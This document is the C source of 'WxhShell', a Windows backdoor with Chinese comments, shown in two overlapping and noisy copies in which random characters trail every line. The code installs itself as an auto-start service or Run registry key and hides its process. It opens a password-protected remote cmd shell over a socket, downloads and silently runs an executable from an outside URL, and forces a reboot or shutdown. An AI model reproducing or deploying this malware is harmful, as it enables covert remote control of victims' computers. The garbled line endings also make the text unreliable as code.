    ExitThread(0); ?R ;K`f9<  
    } 5%5z@Ka  
    break; <X{hW^??)  
    } f/VrenZ_  
  // 获取shell dLtn,qCX0^  
  case 's': { 3X,SCG  
    CmdShell(wsh); KC`~\sYRN]  
    closesocket(wsh); Q;3 v ]h_  
    ExitThread(0); 4GY:N6qe '  
    break; tluyx  
  } '[6o(~ *  
  // 退出 \>>^eZ  
  case 'x': { _#nP->0)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ezOZHY>|#  
    CloseIt(wsh); w?+v+k\  
    break; %j[DG_  
    } LT5rLdn  
  // 离开 R4R SXV  
  case 'q': { VgSk\:t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #1v>3H(  
    closesocket(wsh); N]k(8K  
    WSACleanup(); 8#S}.|"?F  
    exit(1); jC)lWD  
    break; xTJ-v/t3<  
        } \"r*wae  
  } y+C.2 ca  
  } 8w[nY.#T  
xGzp}   
  // 提示信息 ;8G( l   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LD~s@}yH>  
} --~m{qmy  
  } ly{Q>MBM  
NB z3j  
  return; P0En&g+~  
} ^lP_{ c  
l{{wrU`  
// shell模块句柄 B f_oIc  
int CmdShell(SOCKET sock) ;bZIj` D(  
{ /cy'% .!  
STARTUPINFO si; iuX82z`  
ZeroMemory(&si,sizeof(si)); -%U 15W;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; % 1+\N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iE|qU_2Y  
PROCESS_INFORMATION ProcessInfo; S!<1C Fh  
char cmdline[]="cmd"; =.]>,N`C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b$24${*'  
  return 0; sp0j2<$a  
} CFW\  
b 83__i  
// 自身启动模式 w :w  
int StartFromService(void) O>E2G]K]\  
{ $hkMJ),T~  
typedef struct ~)zoIM\  
{ A-GRuC  
  DWORD ExitStatus; CZ/bO#~  
  DWORD PebBaseAddress; S[b)`Wi D  
  DWORD AffinityMask; )m-l&UK  
  DWORD BasePriority; 6!,Am^uXM  
  ULONG UniqueProcessId; JYbE(&l%de  
  ULONG InheritedFromUniqueProcessId; 0RLyAC|  
}   PROCESS_BASIC_INFORMATION; Rv)!p~V8  
6T}bD[h4?  
PROCNTQSIP NtQueryInformationProcess; "rjqDpH  
%r<c>sFJN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Z5Lgg&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hm%'k~  
+q==Y/z  
  HANDLE             hProcess; R|%R-J]  
  PROCESS_BASIC_INFORMATION pbi; Y=oj0(Q*  
j;tT SNF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fwojFS.K  
  if(NULL == hInst ) return 0; [I;5V=bKW  
1GnT^u y/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4DVkycM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gDw:Z/1X`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); brkR,(#L3  
>@yHa'*9S  
  if (!NtQueryInformationProcess) return 0; ~h~K"GbC?  
wp!<u %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IX7|_ci  
  if(!hProcess) return 0; -$(,&qyk  
) #/@Jo2F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DRo@gYDn  
9E (VU.  
  CloseHandle(hProcess); C^@.GA  
h^P>,dy0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cJ G><'  
if(hProcess==NULL) return 0; g<[_h(xDeG  
G\\zk  
HMODULE hMod; }mjJglK!N  
char procName[255]; OE!:`Bo3T  
unsigned long cbNeeded; o0~+%&  
IED7v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~-,P1 u!  
:\@WY  
  CloseHandle(hProcess); f:k3j}&  
w#Y<~W&  
if(strstr(procName,"services")) return 1; // 以服务启动 g1Q^x/  
G4Zs(:a  
  return 0; // 注册表启动 !8"516!d|p  
}  H}NW?  
ExDH@Lb  
// 主模块 Jy'ge4]3  
int StartWxhshell(LPSTR lpCmdLine) H!Y`?Rc  
{ *'+OA6  
  SOCKET wsl; Gd)@PWK  
BOOL val=TRUE; BJ3st  
  int port=0; +igFIoHTM  
  struct sockaddr_in door; td@F%*  
R>"E Xq  
  if(wscfg.ws_autoins) Install(); X[8m76/V  
E'=~<&  
port=atoi(lpCmdLine); @WX]K0 $;  
kb?QQ\e  
if(port<=0) port=wscfg.ws_port;  4q)eNcs  
9$,?Grw~  
  WSADATA data; q P@4KH} e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DJeP]  
oJK]oVX9i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jNN$/ZWm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (=${@=!z  
  door.sin_family = AF_INET; w$H=GF?"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,TD@s$2x  
  door.sin_port = htons(port); #F5O>9hA  
} XCHoB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o/9(+AA>  
closesocket(wsl);  Hw34wQX  
return 1; $4`RJ{ZJw]  
} _pQ9q&i4  
guv)[:cd;  
  if(listen(wsl,2) == INVALID_SOCKET) { [3s,U4a  
closesocket(wsl); rMqWXGl`(  
return 1; " *xQN "F  
} ;JpU4W2/  
  Wxhshell(wsl); wobTT1!|  
  WSACleanup(); 9rX[z :  
z3b8  
return 0; od |w)?16  
&yzC\XdA  
} x~xaE*r  
t#kR@t+6$\  
// 以NT服务方式启动 ?Zu=UVb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u0h {bu  
{ VAc-RaA  
DWORD   status = 0; g% :Q86u  
  DWORD   specificError = 0xfffffff; GmN} +(  
|jW82L+!N%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -san%H'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7t\W{y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h\KQ{-Bl  
  serviceStatus.dwWin32ExitCode     = 0; 5tR<aIf  
  serviceStatus.dwServiceSpecificExitCode = 0; 6a PZW  
  serviceStatus.dwCheckPoint       = 0; 3|RfX  
  serviceStatus.dwWaitHint       = 0; F ]\4<  
.eW}@1+[;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ecA[  
  if (hServiceStatusHandle==0) return; FsZF>vaV  
G*e/Ft.wf8  
status = GetLastError(); `9eE139V='  
  if (status!=NO_ERROR) E/:<9xl  
{ ?gjM]Ki%:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .x$+ 7$G  
    serviceStatus.dwCheckPoint       = 0; >t u3m2  
    serviceStatus.dwWaitHint       = 0; J'y*;@4l^:  
    serviceStatus.dwWin32ExitCode     = status; 5<Cu-X  
    serviceStatus.dwServiceSpecificExitCode = specificError; J%EbJ5p<QF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m.-l&@I2/<  
    return; l%lkDh!$"  
  } 0 8vA;6zt  
%MgQ.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {<&I4V@+  
  serviceStatus.dwCheckPoint       = 0; UNq!|  
  serviceStatus.dwWaitHint       = 0; 4xU[oaa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~f 2H@#  
} 0R<@*  
G@h6>O  
// 处理NT服务事件,比如:启动、停止 ]i\D*,FfU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) It!%/Y5  
{ =0`"T!1  
switch(fdwControl) -O3^q.   
{ r#rQ3&Vn  
case SERVICE_CONTROL_STOP: #b []-L!  
  serviceStatus.dwWin32ExitCode = 0; o`\l&jUNe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^V v7u@y  
  serviceStatus.dwCheckPoint   = 0; Afo(! v  
  serviceStatus.dwWaitHint     = 0; ^x %yIS  
  { ~!j1</$_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gA~BhDS  
  } 0)-l9V  
  return; Zs e3e  
case SERVICE_CONTROL_PAUSE: ]q7\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; or\ 2)  
  break; $I~=t{;"XV  
case SERVICE_CONTROL_CONTINUE: ( }5k"9Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _Qs )~  
  break; /s uz>o\  
case SERVICE_CONTROL_INTERROGATE: Fkj\U^G  
  break; +ww paR`  
}; 9*RfOdnNe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =(K;z9OR  
} L{Epkay,{  
tTe\#o`  
// 标准应用程序主函数 &CF74AN#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cysYjuI i  
{ :gVz}/C.@  
il\#R%';5  
// 获取操作系统版本 m!a<\0^  
OsIsNt=GetOsVer(); %FLz}QW*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vLJ<_&6  
ZU7e1VaZM  
  // 从命令行安装 &6FRw0GX  
  if(strpbrk(lpCmdLine,"iI")) Install(); beEdH>  
O*rKV2\  
  // 下载执行文件 rPkV=9ull,  
if(wscfg.ws_downexe) { bV|:MW <Wv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /A[AHJ<[?  
  WinExec(wscfg.ws_filenam,SW_HIDE); y _>HQs,:  
} ;2@MPx  
{-J/ <a@  
if(!OsIsNt) { Wk$[;>NU3  
// 如果时win9x,隐藏进程并且设置为注册表启动 tx Lo =  
HideProc(); KnbT2  
StartWxhshell(lpCmdLine); _;W}_p}q{  
} b\"JXfw  
else 2sjV*\Udf  
  if(StartFromService()) 'y}l9alF  
  // 以服务方式启动 -o6K_R}R  
  StartServiceCtrlDispatcher(DispatchTable); h|mh_T{+  
else *5sr\b4#S  
  // 普通方式启动 B4pheKZ2  
  StartWxhshell(lpCmdLine); kM*f9x  
,'m<um  
return 0; oOBN  
} lLxKC7b  
Sb>;k(;`:  
.1 .n{4z>:  
0vQ@n7  
=========================================== fOm=#:O  
pY!@w0.  
0^*4LM|z  
j! iimdq  
&!2 4l=!  
ae{% * \J  
" pq#Hca[  
E@hvO%  
#include <stdio.h> <w+K$WE {  
#include <string.h> HGs.v}@&  
#include <windows.h> v0jRoE#  
#include <winsock2.h> )MHvuk:I)  
#include <winsvc.h> /hOp>|  
#include <urlmon.h> 7ml,  
? Sj,HLo@U  
#pragma comment (lib, "Ws2_32.lib") IX']s;b  
#pragma comment (lib, "urlmon.lib") D&0*+6j((  
<`9Q{~*=t  
#define MAX_USER   100 // 最大客户端连接数 )i0\U  
#define BUF_SOCK   200 // sock buffer Ra&HzK?  
#define KEY_BUFF   255 // 输入 buffer WM*[+8h  
|0ACapp!  
#define REBOOT     0   // 重启 c>:}~.~T  
#define SHUTDOWN   1   // 关机 1,T8@8#  
L0qo/6|C  
#define DEF_PORT   5000 // 监听端口 M['8zN  
`]#DdJ_|  
#define REG_LEN     16   // 注册表键长度 Dh BUMDoB  
#define SVC_LEN     80   // NT服务名长度 .8uJ%'$)  
qS*qHT(u19  
// 从dll定义API 9(QY~F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W=&\d`><k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HtgVD~[]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8TD:~ee  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ;iy]mPd  
73A1+2  
// wxhshell配置信息 /P<RYA~  
struct WSCFG { %L=ro qz  
  int ws_port;         // 监听端口 _' Xt  
  char ws_passstr[REG_LEN]; // 口令 R4 ;^R  
  int ws_autoins;       // 安装标记, 1=yes 0=no u^s{r`/  
  char ws_regname[REG_LEN]; // 注册表键名 =&U JFu  
  char ws_svcname[REG_LEN]; // 服务名 NYM$0v`0YK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e!d& #ofw|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,6~c0]/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _]E"hr6a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ah>;wW!6/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,u-i9`B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fCJ:QK!  
iS&fp[Th  
}; 8&qCH>Cf  
-d[9mS  
// default Wxhshell configuration 6{8qATLR  
struct WSCFG wscfg={DEF_PORT, q*{i/=~  
    "xuhuanlingzhe", )Uw QsP  
    1, :[#HP66[O5  
    "Wxhshell", r4@!QR<h  
    "Wxhshell", P+:FiVj@~  
            "WxhShell Service", &1ASWllD  
    "Wrsky Windows CmdShell Service", kn 5q1^  
    "Please Input Your Password: ", m4<8v  
  1, usZmf=p-r  
  "http://www.wrsky.com/wxhshell.exe", ,v4Z[ (  
  "Wxhshell.exe" X4!` V?  
    }; br .jj  
f$Q#xlQM  
// 消息定义模块 /d%&s^M:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^DS9D:oE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h$)!eSu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6k%N\!_TUW  
char *msg_ws_ext="\n\rExit."; F[ N{7C3  
char *msg_ws_end="\n\rQuit."; sI, T"D?  
char *msg_ws_boot="\n\rReboot..."; YC - -&66  
char *msg_ws_poff="\n\rShutdown..."; 4xk'R[v  
char *msg_ws_down="\n\rSave to "; _&FcHwRy  
Q!7Er  
char *msg_ws_err="\n\rErr!"; l]%_D*<Y  
char *msg_ws_ok="\n\rOK!"; INby0S  
G5|xWeNgA  
char ExeFile[MAX_PATH]; N8m|Y]^H#  
int nUser = 0; ld -c?  
HANDLE handles[MAX_USER]; 5u'"m<4  
int OsIsNt; ^Jcs0c @\  
y&-wb'==p  
SERVICE_STATUS       serviceStatus; WEFYV=I\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; { xi$'r  
t/yGMR=  
// 函数声明 _}:9ic]e  
int Install(void); (=}U2GD*  
int Uninstall(void); (NyS2 `  
int DownloadFile(char *sURL, SOCKET wsh); , ?WTX  
int Boot(int flag); 1@" eeR  
void HideProc(void); J [J,  
int GetOsVer(void); w 6+X{  
int Wxhshell(SOCKET wsl); \CM/KrCR  
void TalkWithClient(void *cs); Ytmt+9  
int CmdShell(SOCKET sock); EjV,&7o)  
int StartFromService(void); iIA5ylf{E  
int StartWxhshell(LPSTR lpCmdLine); dms R>Q  
..UmbJJ.u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fLA!oeq{&}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sn '#]yM  
+v2Fr}  
// 数据结构和表定义 dy-m9fc6%  
SERVICE_TABLE_ENTRY DispatchTable[] = &, hhH_W  
{ 5&D)W>{d  
{wscfg.ws_svcname, NTServiceMain}, q+.DZ @  
{NULL, NULL} rY4{,4V  
}; &s->,-,  
Pni  
// 自我安装 t%Vc1H2}  
int Install(void) $`(}ygmP  
{ ;Xk-hhR  
  char svExeFile[MAX_PATH]; b? jRA^  
  HKEY key; %Ui&SZ\  
  strcpy(svExeFile,ExeFile); 'e_^s+l)a  
L,*2t JcC<  
// 如果是win9x系统,修改注册表设为自启动 tPIT+1.]z  
if(!OsIsNt) { xgn@1.}G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ J^Gzl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !FX0Nx=oi  
  RegCloseKey(key); 7pH(_-TF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |&`NB|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }]$%aMxy T  
  RegCloseKey(key); AWsO? |YT  
  return 0; qX^#fk7]  
    } N%v}$58Z  
  } \`}Rdr!p%  
} k"Y9Kc0XoU  
else { U']DB h  
|&eZ[Sy(=l  
// 如果是NT以上系统,安装为系统服务 8VQJUwf;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gu}|CFL\  
if (schSCManager!=0) /.9j$iK#  
{  ;)s$Et%  
  SC_HANDLE schService = CreateService 3?iRf6;n  
  ( E;.<'t>  
  schSCManager, ~KHGh29  
  wscfg.ws_svcname, ,#hS#?t   
  wscfg.ws_svcdisp, ZgQ4~s  
  SERVICE_ALL_ACCESS, }-?_c#G 3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t}>6"^}U  
  SERVICE_AUTO_START, *%5 .{J!  
  SERVICE_ERROR_NORMAL, 3[B*l@}j  
  svExeFile, C&YJvMu  
  NULL, |Wd]:ijJ  
  NULL, `9E:V=  
  NULL, r1b{G%;mJ  
  NULL, h[b5"Uqj  
  NULL @]P#]%^D2  
  ); 9\ZlRYnc=  
  if (schService!=0) Y f:xM>.%  
  { };6[Byf  
  CloseServiceHandle(schService); DXu#07\  
  CloseServiceHandle(schSCManager); ,*$L_itL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `WQz_}TqB  
  strcat(svExeFile,wscfg.ws_svcname); /yPFts_q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,~u5SR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F$<>JEdX  
  RegCloseKey(key); Nd'+s>d0  
  return 0; XdE#l/#  
    } )#n0~7 &  
  } |TL&#U  
  CloseServiceHandle(schSCManager); 1DVu`<OXcH  
} @{ *z1{  
} /tR@J8pV  
"| cNY_$&s  
return 1; ,e$]jC<sv2  
} FDBj<uXfM|  
yqR2^wZ%r  
// 自我卸载 c]LE9<G  
int Uninstall(void) 1Q"w)Ta  
{ R#gt~]x6k  
  HKEY key; L;N)l2m.\  
Q%)da)0:c  
if(!OsIsNt) { cK4Q! l6O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j3 ,6U jlU  
  RegDeleteValue(key,wscfg.ws_regname); tkX7yg>`  
  RegCloseKey(key); x>:~=#Vi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *"Yz"PK  
  RegDeleteValue(key,wscfg.ws_regname); Z^ynw8k"  
  RegCloseKey(key); )d5H v2/0  
  return 0; y|X</3w  
  } Z BjyQ4h  
} 9eO!_a^  
} UJ0fYTeuI  
else { Afa| 6zZ>  
2L"$p?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dz@L}b*  
if (schSCManager!=0) jo-jPYH T  
{ 0?OTa<c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $I*ye+a*{q  
  if (schService!=0) =j#1H I=Fe  
  { ln4gkm<]t  
  if(DeleteService(schService)!=0) { C".nB12  
  CloseServiceHandle(schService); hM$K?t  
  CloseServiceHandle(schSCManager); 0'8_:|5  
  return 0; !SRElb A;i  
  } $>Md]/I8  
  CloseServiceHandle(schService); I~Y1DP)R  
  } mp]}-bR)  
  CloseServiceHandle(schSCManager); 1./ uJB/  
} U8TH}9Q  
} }]O* yFR{j  
OXu*w l(z  
return 1; %c+`8 wj  
} 3sr> ?/>:  
`;KU^dH  
// 从指定url下载文件 CB V(H$d  
int DownloadFile(char *sURL, SOCKET wsh) aY`qbJy  
{ MI8f(ZJK5  
  HRESULT hr; ZqT8G  
char seps[]= "/"; qyi5j0)W  
char *token;  B=)&43)\  
char *file; t6-He~  
char myURL[MAX_PATH]; fKEZlrw  
char myFILE[MAX_PATH]; Cg{V"B:  
9vIqGz-o  
strcpy(myURL,sURL); WRa1VU&f  
  token=strtok(myURL,seps); Fu0"Asxce  
  while(token!=NULL) NQB a+N  
  { <zd_-Ysn  
    file=token; abog\0  
  token=strtok(NULL,seps); %#5\^4$z|N  
  } Dsq_}6l{  
`N<6)MX3>g  
GetCurrentDirectory(MAX_PATH,myFILE); J-iFA KN  
strcat(myFILE, "\\"); ]x)^/ d  
strcat(myFILE, file); $glt%a  
  send(wsh,myFILE,strlen(myFILE),0); 2AYV9egZ  
send(wsh,"...",3,0); p@B/S(Xi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nE"##2X  
  if(hr==S_OK) ^d6}rtG  
return 0; YY{0WWua  
else >i&"{GZ  
return 1; ]rwHr;.  
=[A5qwyv  
} ai,\'%N  
&8=wkG%  
// 系统电源模块 JSXJlau  
int Boot(int flag) 8&[Lr o9  
{ I^}q;L![\  
  HANDLE hToken; U&F1}P$fb  
  TOKEN_PRIVILEGES tkp; 9)c{L<o}T  
j:|um&`)  
  if(OsIsNt) { d7, ZpHt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hlh`d N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (RXOv"''=  
    tkp.PrivilegeCount = 1; ~7CQw^"R@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V$ 8go#5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _LVwjZX[  
if(flag==REBOOT) { 5hxG\f#}?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _xKuEU}  
  return 0; MH wjJ  
} 4o/}KUu(*  
else { rE->z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vR`#kxSdJ@  
  return 0; Go^a~Sf$  
} 8x)&4o@  
  } [N@t/^gRC  
  else { " a&|{bv  
if(flag==REBOOT) { ]81t~t9LQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WFr;z*  
  return 0; F!k3/z  
} qS8p)pw  
else { c:*[HO\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ADSGnw  
  return 0; 9_=0:GH k  
} aNt+;M7g`  
} CBkI! In2  
cj[a^ ZH  
return 1; EN,PI~~F  
} !O*'mX  
iX&eQ{LB  
// win9x进程隐藏模块 g4eEkG`XTS  
void HideProc(void) X  jPPgI  
{ J\@ r ~x5G  
,0hk)Vvr3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E =*82Y=B  
  if ( hKernel != NULL ) xX !`0T7Y  
  { z_i (o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |\}&mBR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w"PnN  
    FreeLibrary(hKernel); f6of8BOg  
  } b(E}W2-t  
@PQ% xcOC7  
return; Os90fR  
} kA.U2  
(&Kv]--  
// 获取操作系统版本 hSN{jl{L`  
int GetOsVer(void) 5SB!)F]   
{ R^p'gQc$   
  OSVERSIONINFO winfo; 2uCw[iZM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mRurGaR  
  GetVersionEx(&winfo); k4C3SI*`4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3-=f@uH!  
  return 1; &g;&=<#I  
  else ;c/|LXc\  
  return 0; pftnF OLO  
} $q$G  
~cf*Oq  
// 客户端句柄模块 -n:~m p  
int Wxhshell(SOCKET wsl) AT:L&~O.  
{ i?3~Gog  
  SOCKET wsh; VxP cC+  
  struct sockaddr_in client; )X2 /_3  
  DWORD myID; h&| S*  
ShIJ6LZ  
  while(nUser<MAX_USER) `MLOf  
{ ]Pp}=hcD  
  int nSize=sizeof(client); p{vGc-zP .  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _Xqa_6+/  
  if(wsh==INVALID_SOCKET) return 1; '5)PYjMnH  
1u~CNHm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sk%Xf,  
if(handles[nUser]==0) 69"4/n7B?  
  closesocket(wsh); u\y$<  
else =#Z+WD-E  
  nUser++; w-j^jU><3  
  } ^\f1zg9I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QM) ob  
E]P7u"1  
  return 0; `DFo:w!k  
} h(/& ;\Cr  
0'g e}2^  
// 关闭 socket =j"bLX6;  
void CloseIt(SOCKET wsh) Wt M1nnJp  
{ <\'aUfF v  
closesocket(wsh); 9*2Q'z}_  
nUser--; <~Oy3#{  
ExitThread(0); /8? u2 q  
} XOoz.GSQ  
,Dy9-o  
// 客户端请求句柄 v8y !zo'  
void TalkWithClient(void *cs) d6XdN  
{ o}=c (u  
E*vh<C  
  SOCKET wsh=(SOCKET)cs; ]Om;bmwt  
  char pwd[SVC_LEN]; bs_< UE  
  char cmd[KEY_BUFF]; .Q!pQ"5  
char chr[1]; Ms=N+e$n  
int i,j; F|&%Z(@a  
v:gdG|n"  
  while (nUser < MAX_USER) { rM`z2*7%d  
98Y1-Z^ .  
if(wscfg.ws_passstr) { 8wLGmv^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v[\GhVb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lxfv'A  
  //ZeroMemory(pwd,KEY_BUFF); 8K9RA<  
      i=0; jGUegeq  
  while(i<SVC_LEN) { HBm(l@#.  
G2dPm}sZG  
  // 设置超时 |,T"_R_K  
  fd_set FdRead; TPA*z9n+B  
  struct timeval TimeOut; f{-,"6Y1  
  FD_ZERO(&FdRead); #G\Ae:O  
  FD_SET(wsh,&FdRead); u`"Y!*[ -  
  TimeOut.tv_sec=8; Q">wl  
  TimeOut.tv_usec=0; 7|k2~\@q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e\._M$l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K_fJ{Vc>O  
l% p4.CX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N>w+YFM  
  pwd=chr[0]; e> Dux  
  if(chr[0]==0xd || chr[0]==0xa) { E%?> %h  
  pwd=0; Xdh@ ^`  
  break; r_MP[]f|0  
  } +4F; m_G6  
  i++; _^D-nk?  
    } rX22%~1  
y]g5S-G  
  // 如果是非法用户,关闭 socket `( 'NH]^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l%qfaU2  
} Ckhw d  
em2Tet  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JyePI:B&)j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L7"<a2J  
W~5gTiBZ]  
while(1) { ab[V->>%  
s$~H{za  
  ZeroMemory(cmd,KEY_BUFF); F(`Q62o@  
g&\;62lV%  
      // 自动支持客户端 telnet标准   _TyQC1 d  
  j=0; AD >/#Ul  
  while(j<KEY_BUFF) { 9hgIQl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1[-RIN;U8  
  cmd[j]=chr[0]; rIX 40,`  
  if(chr[0]==0xa || chr[0]==0xd) { !Pu7%nV.  
  cmd[j]=0; x[R?hS,0 t  
  break; X;v{,P=J  
  } 4M;S&LA  
  j++; 212 =+k  
    } X7SSTcA   
88}04  
  // 下载文件 b/4gs62{k  
  if(strstr(cmd,"http://")) { N6v*X+4JH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y2PxC. -  
  if(DownloadFile(cmd,wsh)) &zPM# Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !lKDNQ8>["  
  else qv`:o `  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W+.?J 60  
  } Xy9'JVV6  
  else { n65fT+;  
d;a"rq@a)  
    switch(cmd[0]) { 7o-}86x#  
  J?Rp  
  // 帮助 V/ZWyYxjLi  
  case '?': { @^`5;JiUk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )5TX3#=;(G  
    break; (A;HB@)[A  
